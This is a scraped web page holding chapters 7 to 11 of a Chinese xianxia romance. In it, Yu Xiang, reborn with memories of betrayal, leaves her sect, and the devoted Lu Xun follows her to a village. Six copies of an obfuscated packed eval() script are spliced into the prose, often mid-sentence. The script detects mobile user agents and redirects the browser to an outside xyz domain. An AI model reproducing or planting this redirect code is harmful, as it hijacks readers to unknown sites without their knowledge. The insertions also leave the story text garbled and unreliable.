;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861091|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原地、反应不太过来的模样,虞香闭了闭眼睛,重新睁开时依然是:“不必麻烦师兄了。” 当单清眉心快拧成结、难得少见的着急神情映入眼中,她扯了扯嘴角。 “我很快便不是了。” 单清:“什么……” “不久之后我会离开救世门。” 单清顿时反应过来,声调拔高了些许:“是三师弟要赶你走?” “是我自己要走。” “可——!” 没有什么可是不可是。 在他把话说出来前,虞香已是背过了身,望向了窗外的雨色空濛。 “时间差不多了。” “大师兄,请回吧。” …… 单清走后,虞香保持着站在窗边负手而立的姿势,久久没有动弹。 他说的话分明是她过去日思夜想想听到的话。 他后来甚至挽留她,说同门一场不易,往日是一场错误,但现在他们可以重新开始,让她再好好想想,有白衍机陆寻他们向着她,师傅和三师弟谢远皆不是问题。 虞香理应要喜上眉梢的。 可她却笑不出来。 若她不记得前世那还好,偏偏她全都记得。 记得那年她被邪祟入体,向师傅求药却被拒之门外,他说那是一百年才能有一颗的灵药,珍贵无比,然而次年,她在小师妹的手里见到了它。 她记得大师兄一次次望向她的冰冷视线,记得三师兄的脚尖捻在她的胸口,说像她这般心思深沉又固执的人,配不上那把追风剑。 记得当年小师妹身上的奇毒迟迟未能解开,她只身杀上齐天山夺取圣药,回来却眼睁睁地看着它被谢远喂给了杂草。 即便是后来的阿邪,它口口声声说是为她好,实际上也不过是想利用她实现一己之私,想摧毁掉世间的一切,也包括她。 事到如今,她与他们之间早已无法回头,不能重来了。 7. 第 7 章 自从单清口中得知陆寻是去了齐天山,虞香的右眼皮一直不停地跳。 每跳一下,她便想起陆寻一次。 虞香全都不理。 齐天山虽然危险,但理应威胁不到陆寻。 她是不了解陆寻。 可她能看见他的财大气粗,当初她渡劫,他跟不要钱似的一件接着一件把那些金贵的法宝掏出来给她。 陆寻分明只是个混入别人宗门的假师兄,却不知道收敛,为人处世像只张牙舞爪的大螃蟹。 骂完这个骂那个,转过头就跟大师兄打了起来,还吼了师傅。 在全知境的超级高手面前,众生俯首帖耳,唯独陆寻丝毫不受师傅的气场影响,那日的质问是一声比一声高。 他甚至能篡改所有人的记忆。 若陆寻死在齐天山,才是真正的天理难容。 虞香相信陆寻不会有事。 可那日她在院落练剑,不经意瞥见被风吹到角落,和枯叶滚在一起的通讯符发出忽明忽灭的蓝光时,终究还是走了过去。 剑尖刚挑起通讯符,只听另一端传来一声:“虞香师妹……” 听他的声音气若游丝,虞香愣了愣,下意识握紧了剑柄。 “……陆寻?” 那边隔了一会才终于传来回应。 他有气无力的声音精神了点,疲倦的嗓音里带着温吞的笑意。 “太好了,你终于应了。” “你一直没有应我,我担心你出了什么事情。” “……” “……我没事。” 她听到对方长长地舒出了一口气,像是得了她的肯定,这段时日一直悬起来的心才终于放了下来。 “这些日子你过得好不好?” 虞香默了下,应了声好。 那头安静了少顷,直到通讯符的微光熄灭之前,最后对她说了一句: “我很想见你了,虞香师妹。” …… 陆寻在两日后回到了救世门。 像是生怕别人不知道他回来了,他人未到声先至,遥遥的一声“虞香师妹”喊得好像整个救世门的花花草草都能听到。 虞香自是也听到了。 她正好坐在窗边,一抬头便瞧见飞剑上的陆寻。 而见她抬头望了过去,他的嘴角好像控制不住地向上扬起。 飞剑速度又加快了几分,尚未靠近地面,他人已直接飞身而下,落到了她的窗外。 虞香抬眸扫过他,一时之间竟分不清他嘴边的笑和今日艳阳哪个更灿烂。 陆寻察觉到了她的视线,于是又笑着叫了声:“虞香师妹。” 这回离得近了,虞香只觉得他气息紊乱,像是受了伤。 仔细分辨,她还闻到了淡淡血味,可陆寻的样子跟没事人一样。 虞香眉头微皱,对方已是又对她欣喜笑道:“我在齐天山找到了圣药,它对你的伤势大有裨益。” “你就收下吧,好吗?” 话音刚落,虞香的眼底映照进一片金光。 圣光璀璨,功德无量。 看着这瓶她过去亲自从齐天宫得到,后来又眼睁睁看着它被谢远喂给杂草的圣药出现在跟前,虞香沉默良久。 终于在他翘首以待的注视下点头,收下的同时道了句谢。 而像是没想到她在终于肯搭理他之余还收下圣药,陆寻那瞬间的惊喜全反应在了脸上,那种“终于拉近了一点关系”的小心思,虞香是看得明明白白。 她又默了一下。 然后说:“我有件事想麻烦你。” “师妹只管说。” 虞香递给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861092|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张纸:“清单上的东西,你可否为我寻来?” “当然,包在我身上。” 看到他离去时因为欣喜连脚步都变轻快了的背影,虞香心道差不多是时候了。 …… 圣药虞香本是不想收的。 只是陆寻充满了期待、像宝石一样亮晶晶的双眼,让她忽而想起了过去的自己。 她从来不会用这种期待的眼神看人,可当年将圣药递给师兄们的时候,她心里也是有所期盼的。 坦白说,虞香并没有多喜欢小师妹,甚至很讨厌她。 但她还是为了小师妹去了齐天山,闯了齐天宫,拿回了圣药。 因为她想告诉师傅师兄们,她对小师妹是友善的,她没有想过要害她,甚至倒过来会像他们一样去帮助她。 虞香希望她与他们所有人之间的关系能够好转。 可是这份善意与期待在被糟蹋了之后,死得不能再死了。 所有的情感俱变成了恨。 她恨师傅,恨师兄,恨所有人。 唯独没办法去恨陆寻。 圣药她收下了,却没有服用。 她把圣药凝练成辟邪趋灾的玉佩,想重新还给他。 于是等陆寻拿着她给的清单、为她搜集齐了制作欺命仙衣的材料时,虞香迎着他期盼的目光,拿出了玉佩。 “谢过师兄,这是谢礼。” 那一瞬间他好像有热泪盈眶。 他分明不知道这是圣药所制,只以为是普通玉佩,依然郑重发誓: “师妹放心,我定将它视如自己的生命去珍惜。” 前有真师兄将她的一番心血弃如敝履。 今有假师兄将她随手还回去的东西视如生命。 虞香垂眸轻笑。 忽而觉得这人间实在荒唐。 8. 第 8 章 接下来的时日虞香把自己关进了屋子里,足不出户。 陆寻不知道她做什么,但她只是对他说有事要忙,让他不要来打扰,他便安安静静地守在门外。 石狮子一样寸步不移,就连大师兄都被他直接赶走了。 虞香因此能安下心来专注于炼制欺命仙衣。 她前世在小师妹身上见过一次,藏书阁里又有旧籍解析,这一路下来除了比较耗费灵力元神之外,其它问题都不是很大。 可她的模样落到陆寻眸中时,大概成了神郁气悴,形容枯槁。 终于有一日忍不住出声问她:“虞香师妹,你在做什么?我真的什么忙都帮不上吗?” 虞香扫了他一眼,只觉他的脸色比她还要惨白。 想起他在齐天山受了伤,转身从柜里摸出个瓶子,倒出两颗药,接着示意陆寻:“张嘴。” “什么?” “张嘴。” 陆寻乖乖把嘴张开,由得她把药丸闷进口中,不假思索地吞了,也不怕是毒药。 看得虞香直挑了下眉:“你就不问问是什么?” 结果对方笑了笑:“虞香师妹不会害我的。” “你都不了解我,怎么敢这么说?” 她当年屠杀的修真界修士没有一千也有八百,从来没有手软过一次,陆寻是不知道她曾经做过什么,才会妄下断言。 “正是因为了解师妹,我才敢这么说。” 虞香冷笑:“你怎么就了解我了?” 她只是随口一问,陆寻却较了真,一板一眼地认真答道: “我知道的虞香师妹面冷心热,爱护同门,总是委屈自己也不随意迁怒他人。” “她比任何人都要向上进取,顽强坚韧。即使命运屡屡待她不公,她也从来不信命,不认命,负隅顽抗,拼争到底。” 陆寻的声色中总有一种温柔的坚定,听得虞香不由生出几分恍惚感,下意识好像要信了他的话。 随着夜晚清冷的空气涌入鼻腔,她清醒过来。 “那不是我。” “你认错人了。” “怎会认错——” 虞香打断了他:“你回去吧,这件事只能由我自己来做。” 陆寻被她强硬的转移话题说得愣了一下,接着抿了抿唇,声音弱了几分。 “我想帮你。” “不必。”虞香不再看他,“很快便结束了,这几日你回去,不要留在我这里。” “为什么?” “会有危险。” “那我更应该要留下了。” 虞香说了句随你,直接关门送客。 陆寻没有走。 被赶出去后,他一直守在门外。 于是在欺命仙衣将要炼成的那几日,正好和盗宝的凶兽撞了个正着。 当时虞香察觉到屋外风声有异,正准备提剑去见,打开门,却是撞见了陆寻的另外一面。 那胆大妄为的凶兽被他一剑抹喉,身首异处。 而陆寻眸光冰冷,神色冷冽,陌生得俨然如另一个人,直到回头看她时才有了温度。 他温声道:“师妹,已经没事了。” 虞香漠然恩声过后,两扇木门重新闭合。 “这几日大概还有数次。” 门外之人先是愣了一下才再开口,虞香望不见他的脸,可隔着木门传过来的话音除了听上去闷闷的,似乎还带了笑意。 “多谢师妹提醒。” “我不是在提醒你。” “那就多谢师妹关心了。” “……” …… 欺命仙衣终于炼成。 大功告成的那一刻,虞香如释重负,她向后一倒瘫坐在靠椅上,长长地舒出口气,欣赏天边的诡谲异象。 仙物诞世,动摇运数天理,浓稠的黑夜里泛起了五彩霞光,一瞬吞没了皓月的光辉。 虞香不在意多少人的命数因此而改变,她只想着等把仙衣交给白衍机,算是把欠他的一条命还给他了。 至此以后他们相忘于相互,两不相欠。 她又面容带笑地吐出一口气。 白衍机常年云游天下,不在宗门,连她身为同门师妹要见他一面也很难。 正当虞香思索着要如何寻人,陆寻的存在让她找到了机会。 陆寻这几日皆是副神神秘秘鬼鬼祟祟的样子。 一连几个时辰不见他人,等再见面时他身上总有阵香甜的气味。 虞香说不上来那是什么,也并不关心。 直到有天陆寻一大清早端了碗面给她,虞香才意识到这段时间他偷偷摸摸地去做了些什么。 “虞香师妹生辰快乐。” “我知道师妹已经辟谷,可今日是你生辰,长寿面还是不能少的。” 虞香低头安静地盯着那碗还冒着热气的面。 汤面上铺了一块煎鸡蛋,三两个虾仁,有肉有菜,点缀着一把葱花。 还在人间界的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861093|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,虞香每年也会吃长寿面,却从来不是在自己的生辰。 她在家中并不受重视,每回吃长寿面都是跟着上面的一个哥哥一块吃的。 后来等她来到了修真界,自然而然地忘了生辰这回事,就算偶然想起,也全都不在意了。 陆寻:“师妹……不想吃吗?” 虞香抬头,只见他笑得有些勉强,尴尬的样子像是连手都不知道该放在哪里好。 她默了下,最终还是接过筷子。 “……谢过师兄。” 吃过长寿面后,陆寻拉起了屋内的窗帘,室内一下子变得昏暗,而在昏暗的环境下,他拿出一块黄澄澄的糕点,上面插了一根点燃了的蜡烛。 虞香一闻便知这是最近从他身上传出的那阵香甜气味。 不久前还不要脸地把她随口一提的一句话歪曲成关心的陆寻,此刻倒是破天荒的有点难为情。 陆寻:“我知道不管我送你什么礼物你都不会收,所以做了这个给你。” 陆寻:“在我家乡这个叫做蛋糕,我们会在对蜡烛许愿后吹灭。” 烛光照着虞香的眸光微晃。 “什么心愿都能实现吗?” 他笑了笑:“对,什么心愿都能实现。” 虞香的目光从蜡烛澄黄的光影移到了陆寻的脸上。 “陆寻,你知道白衍机吗?” 那一瞬间他绝对流露出了惊慌之意,但很快恢复了镇定反问道:“怎么会不知道呢?他不是我们二师兄吗?” 虞香没有点穿他一瞬的失态,只当没有察觉到似地说道: “我有一样东西想拜托你交给他,一定要亲手交到他的手里。” “这就是我的愿望,你能帮我实现吗?” 陆寻先是愣了下,接着收起了笑容,郑重点头: “当然。” …… 陆寻在次日出发。 虞香特意去送了他。 临别时陆寻说了许多话,他柔声嘱咐她要照顾好自己,告诉她不用在意包括师傅师兄在内的所有人,又说如果发生了什么事情,让她先放着,等他回来。 虞香耐心地听完了,最后送上了一句:“一路顺风。” 对方点头恩声:“我一定尽快回来。” 她笑了下。 目送陆寻走后,虞香转身去到了师傅的门前。 她跪在地上磕了三个响头后安静地离开了救世门。 一句话都没有留下。 9. 第 9 章 虞香起初也不知道自己要去哪里。 从救世门离开后的半年里,她一路走走停停,最终决定留在人间界和修真界交界处一个普通人的村落。 到村子里的第一天,她问他们村子需不需要一个修士。 村民们面面相觑。 大概是看她孤身一人,手无法宝佩剑,又穿得朴素不起眼,与别个锦衣华服、时时周身流光溢彩的修士是两个极端,于是警惕地婉拒了。 但虞香没有走。 她一直守在村子外边。 后来村民们亲眼目睹她杀死了想要袭村的妖邪,对她的印象和态度才发生了转变。 他们问她为什么想要留在村子里。 虞香答不上来。 她只依稀记得当年她拔出邪剑,掀起的第一波灾难…… 便让他们遭受了灭顶之灾。 …… 村民为虞香安排了一栋在村尾的空房子,一踏出门便是棵硕大的凤凰木,开花时艳绝半边天。 最初时候,即使虞香当着村民们的面斩杀妖邪,他们也不完全信她。 同意她进村似乎是无可奈何之举,后来很长一段时间,他们对她都是假笑相迎,虚与委蛇。 直到有日,一位妇人不顾劝阻地找上了门来,求她救自己的孩子。 凡人眼中无药石可医的绝症,不过是修士的一次举手之劳。 虞香救活了被邪祟缠身而发热的儿童时,所有人都感恩她不是剑修而是位医修。 她下意识否认后不由有几分恍惚,忽然想起了以前谢远与邪剑对她说过的话。 修行多年,虞香一直认为自己没有特别擅长的东西。 她什么都会一些,却什么都不精。 以前三师兄谢远总说她一心多用,既然是个剑修那便专心练剑,不该学道术学阵法学符咒,还碰了别的武器,什么都不成气候,最终一事无成。 过去她信了谢远的话,总觉得自己输人一等,高不成低不就的。 后来她拔出邪剑,力战修真界八千修士时,才发现并不是那样。 邪剑说本以为她是个软柿子,想不到杀人时的那股狠劲看得它都吓了一跳。 又说她人瞧着普普通通,却是历代最难缠的剑主。 跟着她,它好像终于看到了了却夙愿、毁灭世间的希望。 如今她回到了过去,也不知道当初那把总是在她耳边笑着大喊“杀光杀光全都杀光”的邪剑如今怎么样了。 它大概……已经不记得她了。 “仙人?” “仙人,你怎么了?” 虞香被村中铁匠的大嗓门拉回了思绪,她摇了摇头,说了句无事。 铁匠不懂她神情中的复杂,只鼓励她赶紧试试他送给她的新剑。 “我给你打了把铁剑,你看看趁不趁手!” 虞香试着舞动了几下。 若论材质,凡人的兵器自然不能与她过去的两把佩剑相比,可她还是轻笑一下,由衷地称赞了一声: “好剑。” 铁匠满意地哈哈大笑:“那就好,我看仙人你身上也没把趁手的武器,于是自作主张打了把给你。” “以后仙人有需要直接提!我们全是自家人!” 听到那声“家人”,虞香的脑海又不由自主地浮现出邪剑“从此你我相依为命,我愿意成为你真正的家人”的话。 “仙人?怎么了?是想到了什么?” “只是想起了一个……家人。” 铁匠眼珠子一转,大块头突然变得有点贼兮兮的聪明。 “莫非是今年入夏开始便在村子外打转的年轻人?” …… 连村民们都发现了,虞香自然早发现了。 她今年初春时分来到这里,入夏后没过多久,便在村子外边察觉到其他修士的痕迹,她留了个心,最后发现那人竟然是陆寻。 虞香没有忘记世界上本来不存在陆寻这个人。 直到今夏,她都以为他冒充救世门弟子、成为她师兄,所求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861094|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所为皆是出于邪剑。 但到了这一刻,虞香忽然不确信起来。 陆寻大可在被她支开去找白衍机后重新回到救世门,可他没有。 他来到了这里,出现在与她极近的地方。 虞香很难不去认为他是为她而来的。 然而,当她假装察觉不到他的存在,想从他下一步的行动判断出他的目的,陆寻突然完全没有了动作。 他就安安静静地呆在村子外边。 既不主动来找她,也不制造出任何偶遇的机会,日复一日。 如今大雪纷飞,世间万籁俱寂,他更像是冬眠了一样,她再也没有听到过任何有关于他的消息。 等虞香再见到他,已又是一年春了。 …… 昨夜下了冬日里的最后一场雪。 晨光熹微,本该是静谧美好的清晨,停在凤凰木上的麻雀却被村民们的喊声惊飞。 “仙人不得了了!您快出来看看吧!” 等虞香推门而出,看到的是她那白给的好师兄。 像是整整一个冬天都没有动弹过,他保持打坐的姿势被冻成了雪雕,被村民用担架抬到了她的面前。 虞香低头看了眼,示意村民无需撤掉担架。 “葬在后山吧。” 村民、陆寻:“……” 没有在意身后的沉默,虞香转身回到屋子,而没有过多久,窗边传来一声无比心虚的: “虞香师妹……” 虞香余光瞥见他头发衣服全在掉水,浑身湿透带雪,好不狼狈,但她的声音依旧没有什么起伏。 “如今我离开了救世门,你我已不再是同门,不必叫我师妹。” 对方低声询问她:“那我直接叫你虞香好吗?” “不可以。” “那……我可以怎么样称呼你?” 虞香低头煮茶的视线终于抬了起来,她望向窗边,迎着陆寻期待的目光,对他漠然说道: “离开这里吧,陆寻。” 10. 第 10 章 今年夏天的时候,当发现陆寻出现在了村子外边,虞香顿时意识到她这位本不该存在的假师兄,他的目标从来都不是她以为的邪剑,而是她。 可虞香扪心自问,她真的没有什么东西可以给他了。 她两袖清风地离开了救世门,连前世的本命剑都没有带走。 除了一句冷冰冰的“离开这里”,她什么都给不了陆寻。 听到她的逐客令,陆寻的脸色骤然变得更加苍白,人像是烟一样随时能被风吹散。 他扣在窗台的指节更紧了几分,融化的雪水从他的指尖落下。 他强撑起笑容:“昔日同门一场……不请我喝一杯茶吗?” 虞香定定地看着他。 陆寻浑身湿透,嘴唇发白,可眉宇间尽是股犟劲,与她直直对视的眼神中全是固执。 她默了默。 “陆寻,我什么都给不了你。” 对方雪白的脸色顿时泛起丝丝红晕,语气也跟着变得着急起来。 “我没有想过要从你身上得到什么。” “我只是想……能和你亲近一点。” 虞香试图从他身上找到谎言的痕迹,可他一脸诚挚恳切,干净得除此之外的什么都没有。 她抿了抿唇,不知道说什么好,于是最终只背过了身,不再看他。 陆寻茫然的询问声从背后传来。 “……虞香?” 虞香不应。 “香香?” 虞香眉头狠皱了下,仍是没有吭声。 空气安静了会后响起了窸窸窣窣的动静,又是静了一息,他的声音变得近了。 “虞香,我能不能留下来?” “你不说话……我就当你答应了,可以吗?” 陆寻的视线太有存在感,炽热又不知后退,以至于这中间停顿的时间显得太过漫长,犹如芒刺在背。 “那我就当你默认了。” 他的语调扬了起来。 又很快沉了下去。 “不要讨厌我……好吗?” 她的沉默对他来说似乎是最好的回应。 虞香背对着陆寻,看不见他脸上神情,但听他的一声轻哼,只觉得他约莫是笑了。 …… 他们之间好像回到了最初陆寻靠死缠烂打和她拉近关系的时候。 她在凤凰木下打坐修行,他便蹲在旁边和她说话。 他娓娓道来时的声音如一汪温柔泉水。 “香香,昨夜下了场大雨,你睡得好不好?正好我泡了一壶甜茶,奶香味的,你要不要尝一下?” “我从山上搬了块光滑的大石头过来,你以后打坐就不用坐在地上了。” 陆寻从来不知何为知难而退。 她不理他,他便换了个方向。 “村长说三里外的竹林似乎有异样,你去不去看看?你要是不想去的话,那我去了。” 他不清楚她为什么唯独停留在这里的原因,却也想到了要从村民入手。 但有些时候实在离谱: “香香练剑就是好看,像是天上的仙女一样。” “香香,我在村子后面挖了一个湖。” 虞香的额角猛跳了一下。 …… 次日,虞香真的在村子后面见到了一面湖。 水光如镜,烟波万顷。 …… 她之所以愿意走出去,去看看,除了是陆寻死磨硬泡,也确实是因为想知道他是不是真的挖了个湖出来。 虞香觉得应该是的。 因为陆寻从来说到做到。 可当真的穿过石板竹林,山光水色跃然眼中,她仍是不由侧目。 陆寻对她笑了下。 “坐吧。” 虞香垂眸,寻了棵岸边的树靠着坐了下来。 村子后面本来是座荒山。 什么都没有,枯藤盘死了巨树,去年冬天的大雪落下覆盖淹没了所有,像是一片巨大的坟场。 但它现在是另一方天地。 枯木残枝全部消失不见了,视野变得开阔明净,碧湖居中,群山环绕。 尤其如今又到了春分时刻,气候转暖。 风穿水而过,吹醒了万物。 虞香突然不记得自己上一次看到春日景象是什么时候了。 她的一生太忙太忙。 忙着读书修炼,结果到头来不上不下,一事无成。 忙着讨好别人,小时候装成成熟稳重的样子讨好父母和大人们,后来进了救世门后用上进刻苦的模样讨好师傅师兄。 平日用伪善的面孔讨好她厌恶的人,在心上人面前,那卑微的姿态更像沁透到了骨子里。 一直以来,她都努力去讨好所有人,努力成为他们想要她成为的模样。 等有一天……她终于不再苛求,只迎合自己的时候—— 她走到了死亡的终点。 这一路她走得太赶了,像在被什么驱赶着往前狂奔。 等如今意识到了的时候,已经失去了一生,明明活过,又像是没有活过的样子。 虞香吐气的动作被陆寻看进了眼里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861095|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他收回视线后默了默,才慢声道来: “香香,这个世界很大,我们眼前看到的不过是这个世界上极小极小极小的一部分。” “当走进死胡同,因为眼睛只看得到四周的墙,所以才会觉得走投无路,只有上方的天空是唯一的生机。” “可在死胡同的后面,其实有一片无穷大的天地。” “在无穷大的天地中,我们一定会遇见更多的人,得到无限种的可能。” “所以……” 虞香不咸不淡地打断了他:“你今天来是为了教育我的吗?” 陆寻摇了摇头。 “我只是希望你能变好,能过得开心快乐。” “……” 陆寻的眼神太过真诚,他的祝愿又是那样温暖,仿佛一个曾经饱经风雨的人发自肺腑地为她献上祝愿,让人实在讨厌不起来。 虞香闭眼做了个深呼吸。 她侧过头,困惑地问他:“陆寻,你到底想从我这里得到什么?” 陆寻愣了下。 但很快,他神情中的犹疑消失了,像是下定了某种决心,他坚定地与她对视,明亮的眼睛里装着山光春色和她。 “香香,有没有一种可能……” “不是我想从你那里得到什么,我做的所有这一切,都是因为我喜欢你,所以在意你。” 闻言,虞香不由地轻笑出了声。 她不是笑陆寻,而是笑她自己。 笑她心里明知道陆寻不可能是真的喜欢上她,却仍是因为他那像极了她前世心上人的面庞而心跳漏了一拍。 笑自己直到此刻,心底深处依然潜藏着不该存在的留恋。 虞香垂眸。 “我有喜欢的人了。” 即便看不到,她都能感觉到他的愕然。 “以后不要再来打扰我了。” 话落,她干脆起身。想往回走的时候,手忽然被他拉住,人被拽停在了原地。 他似乎有点慌了神:“你喜欢的那个人……是谁?” 虞香没有出声。 沉寂之中,陆寻的声音更加清晰。 他的话是那样诚恳真切,带着深深的渴盼,落入她耳中时,像是听到鼓鸣一样,心脏禁不住跟着猛跳起来。 “我愿意当那个人的替身。” “你把我当成他吧。” “虞香,我会永远爱你。” “会永远与你站在同一阵线,永远陪伴在你左右,只要你愿意回头……” “我就会在你目光所至之处的任何地方。” 11. 第 11 章 其实事到如今,虞香已经不在意爱或者不爱的了。 她不想再去爱人。 也不需要一个永远爱她的人。 可之所以对陆寻说的话动了心,是因为他在最后说…… “我会永远陪伴在你左右” 他说他会永远在她身边。 虞香不是一个贪心的人。 她不需要朝夕相伴,她只想能有一个人在她死的时候,能陪在她身边、能握紧她的手,那就足够了。 前世的死亡深深印刻在了虞香心里。 她记得自己以一敌对修真界八千修士的热血激昂,记得在看到白衍机和心上人朝她出剑时的悲怆苍凉。 但就算把这些所有滚烫的情感全部加起来…… 都抵不过当血顺着伤口流出体外,生命力在渐渐消失的时候,那种深深的孤独感。 虞香从来没有那么空虚过。 空虚得让人无从下手。 第一次的濒死时刻来得太急,天宗堂主突然就出现在了眼前,一念之间决定了她的下场,她人还没完全反应过来便被打成了半死不活,转眼又被带着生机与希望而来的白衍机所救赎。 直到第二次,她才真正直面了死亡的阴影。 死亡是一种剥夺。 它从切断你与世间的关联开始,之后具体到了身边的人,它一根根地割断你与所有人的联系,你会一个接着一个失去你的家人、朋友、爱人。 当只剩下你自己一个人时,它开始剥夺你仅拥有的东西。 所有只有自己知道的、每日珍藏着缅怀的、那些幸福愉快的回忆与感情,全都会被忘却。 没有人会记得。 所有你曾经无比重视、连被别人碰一下都不肯的宝物,将会被弃如敝履地丢进垃圾堆里。 没有人会在乎。 你会失去身体的知觉,你的思维会逐渐涣散。 你会忘记自己曾经在这个世界上活过一次。 甚至连忘记本身都不再存在。 不能再思考。 什么都没有。 前世白衍机刺入她心口的剑确实让她走到了生命的终点。 但在那个时候,真正杀死虞香的是那种独身一人在面对死亡时的孤寂,是即将要失去一切却无能为力的空虚。 是得知自己将要死无葬身之地的恐惧。 如今她每一次想起,都感到心慌彷徨,只能强压下去,假装什么都不知道。 然而……此时此刻,却有这么一个人对她说…… 他会永远在她的身边。 这对曾经死过一次的虞香而言—— 是好像无论如何都拒绝不了的诱惑。 因为她也想在死亡再次来临的那天,能有一个人握住她的手。 能有一个人将她的尸骨收敛。 埋入地底。 …… 生活定格在了平静安稳的样子。 虞香默许了陆寻的存在,随便他去哪里,做什么,说什么。 即便看到他拆掉了篱笆,在本来的位置建起了新的木屋,她也只是瞥了一眼,没有多说一句话。 但陆寻似乎误解了一些事情。 他不知道她喜欢的人是谁,却也笨拙地扮演起他的角色,作为一个替代品,用永远会爱她的温柔模样,忠诚地陪伴在她左右。 以前的陆寻分明一口一个“香香”喊得面不改色,如今反倒忽然不熟练起来。 他站在那里,嘴边带着温柔的笑,用温暖的声线叫她名字的时候,脸庞总是不经意泛起了淡淡的红色。 虞香起初只是安静地配合他。 她本来以为他会从中得到他想要的东西,也许这就是他的目的。 可是后来有一天,他看着她不以为意的平淡表情,好像感到了茫然。 他问她: “虞香,你会感到幸福吗?” 虞香沉默了很久,都没有能答上话来。 她幸福吗? 陆寻茫然却又像在期盼她点头答是的神色,俨然如他所做的一切,他对她所有的好,他自愿成为某个人的替身、永远陪在她身边,从来都不是为了自己能得到什么,只是为了她。 为了能让她幸福。 可世界上真的会发生这种荒谬的事情吗? 光是想想,她便觉得有一种脱离现实的异想天开。 虞香用力闭了下眼,再睁开时,叫了他的名字。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861096|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……陆寻。” “恩?” 迎着他迷茫的视线,她一字一句地告诉他: “我不需要你成为别人的替身,也不需要你假装爱我。” “只要你能在……那个时候,牵住我的手,那样就好了。” “只要你能牵住我的手,我就会感到幸福。” 他用更加茫然的口吻顺着她的话问了下去:“那个时候……是什么时候?” 虞香没有立刻开口。 她顿了下,之后微微扬起了下颚,看着云里雾里的陆寻轻声笑了。 “你以后会知道的。” …… “不是太久了。” “那个时候,很快就要到了。” …… 在前世的这个时候,虞香仍在闭关,是后来出关了之后,才从小师妹口中得知她是差不多在这一阵遇到的白衍机。 小师妹过去的每一场遭遇都太像是话本小说里的情节,跌落山崖偶遇得道高人倾囊相助,随手买下的小物件是天阶法宝,警惕所有人类的妖族前太子只往她的兜帽里跳。 小师妹的人生没有十载苦修,没有同门拉踩。 她的人生处处是奇遇,听到耳中时总觉得像是在听天书,以至于大多听后很快便忘记了。 只有小师妹和师傅师兄们之间发生的事情,虞香才记得比较深。 “那年我遭到邪灵暗算,他追杀了我整整一个月。我还记得那夜是新月,全世界天昏地暗,只有道路两侧的红灯笼摇曳,正当我以为自己死定了!二师兄一袭白衣出现在了路口,像是指路的月光一样。” “如果不是二师兄,师姐你真的就见不到我了!” 白衍机身手不凡,在十名同境界修士的围攻下都能全身而退,自从踏入通奥境后便没有再受过重伤。 但为了救小师妹,胸口硬是生生受了邪灵一击,留下了四道血淋淋的抓痕。 